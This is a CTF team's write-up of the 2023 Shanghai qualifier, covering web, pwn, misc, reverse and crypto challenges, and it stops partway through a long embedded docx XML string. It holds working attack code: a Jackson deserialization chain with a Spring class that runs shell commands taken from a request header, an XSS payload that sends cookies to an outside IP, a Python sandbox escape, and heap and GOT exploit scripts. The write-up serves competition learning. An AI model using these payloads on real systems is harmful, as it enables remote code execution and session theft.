A1natas 2023 上海市赛(初赛) WriteUp

WriteUp

Web

easypy

unicode绕过字符限制

1
𝓮val('print([].__class__.__mro__[-1].__subclasses__()[-8].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]("cat flag"))')

fun_java

springboot其实自带jackson依赖，直接打jackson反序列化即可

注意需要修改com.fasterxml.jackson.databind.node.BaseJsonNode，置为空

exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class jackson
{
    public static void main( String[] args ) throws Exception {
        byte[] bytes = ClassPool.getDefault().get(SpringEcho.class.getName()).toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp, jsonNodes);
        
        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(exp);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
        //反序列化
//        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(bais);
//        ois.readObject();
//        ois.close();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

打spring回显即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho extends AbstractTranslet{
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String) getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        }catch (Exception e){}
    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {

    }
}

CookieBack

xss

1
<img/src='0'/onerror=document.location='http://42.192.42.48:2333?cookie='+document.cookie>

easy_node

Pwn

chageaddr

第一次修改exit的got为main函数

第二次修改setvbuf的got为后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/05/20 10:19:52
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./ChangeAddr")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

sla("?", hex(elf.got["exit"])[2:])
sla("?", hex(0x80493A1)[2:])
sla("!", hex(elf.got["setvbuf"])[2:])
sla("?", hex(0x804932C)[2:])

sla("!", hex(elf.got["__isoc99_scanf"])[2:])



ia()

keybox

整数溢出后将两个key过了

随后打远程发现泄露了libc的地址信息，判断为libc2.23

通过edit可以堆溢出，修改fastbin的fd最后一位\x00

控制fd到第一次申请的0x20的小堆

修改小堆的两个函数地址为后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/05/20 10:47:53
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./KeyBox")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc



sla("key", str(-0x8000000000000000+12))
sla("key", str(1))

cmd = lambda x: sla("Your choice:", str(x))

def show():
    cmd(1)

def add(size, content="a\n"):
    cmd(2)
    sla("item", str(size))
    sa("item", content)

def edit(idx, size, content="b\n"):
    cmd(3)
    sla("item", str(idx))
    sla("item", str(size))
    sa("item", content)

def free(idx):
    cmd(4)
    sla("item", str(idx))



add(0x78)   # 0
add(0x18)   # 1
add(0x18)   # 2
add(0x10)   # 3



free(2)
free(1)
edit(0, 0x100, b"a"*0x78 + p64(0x21))

add(0x18)
add(0x18, p64(0x401765)*2)

cmd(5)

# dbg()

ia()

#  tel $rbp+$rax*8-0x80

Misc

good_http

盲水印

密码XD8C2VOKEU

complicated_http

查找http流量，发现post了一个php文件

可以发现是在打某个靶场的流量，上传了一个Shell，并且用AES-ECB-128和base64加密了流量

继续往后面跟可以发现在进行一些cmd的操作，并且用base64加密了

在No.25513初的流量可以发现读取flag的响应

解密得到flag

优雅内存

逆向hack.exe

发现是rc4加密，同时从环境变量获取KEYS

将flag.png加密成了flag.png.enc

通过strings查询KEYS，c156e08e123b3dc6399c6c4e55ba2549，正好32位

由于是加密的png，同时知道是rc4加密，通过png的文件头使用rc4加密后，将raw拖入010中进行查找加密后的图片hex

匹配到了21处，同时发现部分图片

通过复制这一部分搜索，能缩小搜索范围

发现仍有残缺，继续搜索

搜索中间的数据，补上后半段

Reverse

exEXE

这边一个beingdebugged反调试，nop

lpAddress里面一个rc4

sub_401535是base64，所以就是RC4+base64，直接cyberchef解密就行

encrytor

大致流程：获取固定的DateTime 16574669，然后获取当前时间，并转换成10进制的Dword数组，获取分钟和秒钟相乘，将获得的数转换为字符串，然后经过SHA256加密，得到的值作为RC4的key对flag.txt进行加密，输出到flag.txt.enc中

关键函数：

出题时间可以通过文件修改时间查看

考虑到程序运行时间，最后取的是33 * 41 = 1353

rc4解密即可

flag在哪？

保存了一些函数的地址，重命名一下

动调到这里

进去p一下，下面call的analyse有问题，nop掉然后看汇编即可

可以看到是有一个表，然后nop掉的位置是call了一个memcpy进去的东西

看一下Src中间的内容

这边也是出题人自己实现的一个算法

提取出byte_406274的密文写脚本解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
enc = [0xD3, 0x38, 0xD1, 0xD3, 0x7B, 0xAD, 0xB3, 0x66, 0x71, 0x3A, 0x59, 0x5F, 0x5F, 0x2D, 0x73]
key = 'e4bdtRV02\x00\x00\x00\x00\x00\x00'

flagbox = [0x66, 0x6C, 0x61, 0x67, 0x7B, 0x77, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x74, 0x6F, 0x6D, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x4D, 0x79, 0x20, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x6D, 0x69, 0x73, 0x73, 0x20, 0x74, 0x6F, 0x6D, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x66, 0x75, 0x6E, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x73, 0x74, 0x65, 0x61, 0x6C, 0x20, 0x6D, 0x79, 0x20, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x68, 0x61, 0x76, 0x65, 0x64, 0x20, 0x6C, 0x6F, 0x73, 0x74, 0x20, 0x61, 0x20, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x20, 0x69, 0x73, 0x20, 0x6D, 0x79, 0x20, 0x6C, 0x69, 0x66, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x77, 0x68, 0x61, 0x74, 0x20, 0x64, 0x69, 0x64, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x62, 0x72, 0x65, 0x61, 0x6B, 0x66, 0x61, 0x73, 0x74, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x64, 0x61, 0x6E, 0x63, 0x69, 0x6E, 0x67, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x63, 0x61, 0x6E, 0x20, 0x75, 0x20, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x69, 0x61, 0x6E, 0x6F, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x6D, 0x65, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x67, 0x72, 0x65, 0x61, 0x74, 0x20, 0x64, 0x72, 0x65, 0x61, 0x6D, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x67, 0x6F, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x6F, 0x75, 0x74, 0x68, 0x20, 0x50, 0x6F, 0x6C, 0x65, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x66, 0x69, 0x67, 0x68, 0x74, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x27, 0x6D, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x6F, 0x6E, 0x20, 0x61, 0x6E, 0x20, 0x61, 0x6E, 0x74, 0x69, 0x2D, 0x48, 0x75, 0x6C, 0x6B, 0x20, 0x61, 0x72, 0x6D, 0x6F, 0x72, 0x20, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x6B, 0x6E, 0x65, 0x77, 0x20, 0x74, 0x6F, 0x6D, 0x20, 0x77, 0x61, 0x73, 0x20, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x6D, 0x65, 0x20, 0x74, 0x6F, 0x6E, 0x69, 0x67, 0x68, 0x74, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x27, 0x76, 0x65, 0x20, 0x61, 0x6C, 0x72, 0x65, 0x61, 0x64, 0x79, 0x20, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x64, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x6F, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6E, 0x6F, 0x74, 0x20, 0x64, 0x72, 0x75, 0x6E, 0x6B, 0x20, 0x6E, 0x6F, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6F, 0x68, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x6F, 0x68, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x62, 0x65, 0x74, 0x20, 0x69, 0x74, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x72, 0x61, 0x69, 0x6E, 0x20, 0x74, 0x6F, 0x6D, 0x6F, 0x72, 0x72, 0x6F, 0x77, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x74, 0x6F, 0x6D, 0x20, 0x74, 0x6F, 0x6C, 0x64, 0x20, 0x6D, 0x65, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x68, 0x65, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x63, 0x74, 0x75, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x61, 0x20, 0x74, 0x69, 0x67, 0x65, 0x72, 0x7D, 0x00, 0x00]



for i in range(len(enc)):
    # print()
    print(enc[i]-ord(key[i])^(12-(i%3)),end=',')

enc1 = [98,15,101,99,12,81,81,61,53,54,82,85,83,38,121,102]
import ctypes
for j in range(15):
    if ( j % 3 == 1 ):
        enc1[j]^=flagbox[3*j]
    enc1[j]^=4
    # print(str(ctypes.c_uint8(enc1[j]).value))
    print(chr(ctypes.c_uint8(enc1[j]).value),end='')
    
#flag{UUU123QWE}

Crypto

crackme

非预期，sage脚本中直接有flag

bird

将docx改为zip文件，解压，搜索到 flag{
字符，随后发现 char(88) 这种字符，进行提取

1
2
3
4
5
6
7
8
9
10
11
12
data = '''flag{</w:t></w:r><w:r><w:rPr><w:lang w:val="en-US" w:eastAsia="zh-CN"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="219075" cy="476250"/><wp:effectExtent l="0" t="0" r="9525" b="0"/><wp:docPr id="2" name="Picture 2" descr="char(66)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="2" name="Picture 2" descr="char(66)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId4"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="219075" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="171450" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="3" name="Picture 3" descr="char(73)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="3" name="Picture 3" descr="char(73)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId5"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="171450" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="219075" cy="476250"/><wp:effectExtent l="0" t="0" r="9525" b="0"/><wp:docPr id="4" name="Picture 4" descr="char(82)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="4" name="Picture 4" descr="char(82)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId6"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="219075" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="209550" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="5" name="Picture 5" descr="char(68)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="5" name="Picture 5" descr="char(68)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId7"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="209550" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="171450" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="6" name="Picture 6" descr="char(73) (1)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="6" name="Picture 6" descr="char(73) (1)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId5"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="171450" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="209550" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="7" name="Picture 7" descr="char(83)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="7" name="Picture 7" descr="char(83)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId8"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="209550" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="209550" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="8" name="Picture 8" descr="char(76)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="8" name="Picture 8" descr="char(76)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId9"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="209550" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="171450" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="9" name="Picture 9" descr="char(79)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="9" name="Picture 9" descr="char(79)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId10"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="171450" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="200025" cy="476250"/><wp:effectExtent l="0" t="0" r="9525" b="0"/><wp:docPr id="10" name="Picture 10" descr="char(86)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="10" name="Picture 10" descr="char(86)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId11"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="200025" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="190500" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="11" name="Picture 11" descr="char(69)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="11" name="Picture 11" descr="char(69)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId12"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="190500" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="209550" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="12" name="Picture 12" descr="char(76) (1)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="12" name="Picture 12" descr="char(76) (1)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId9"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="209550" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:drawing><wp:inline distT="0" distB="0" distL="114300" distR="114300"><wp:extent cx="190500" cy="476250"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:docPr id="13" name="Picture 13" descr="char(89)"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic 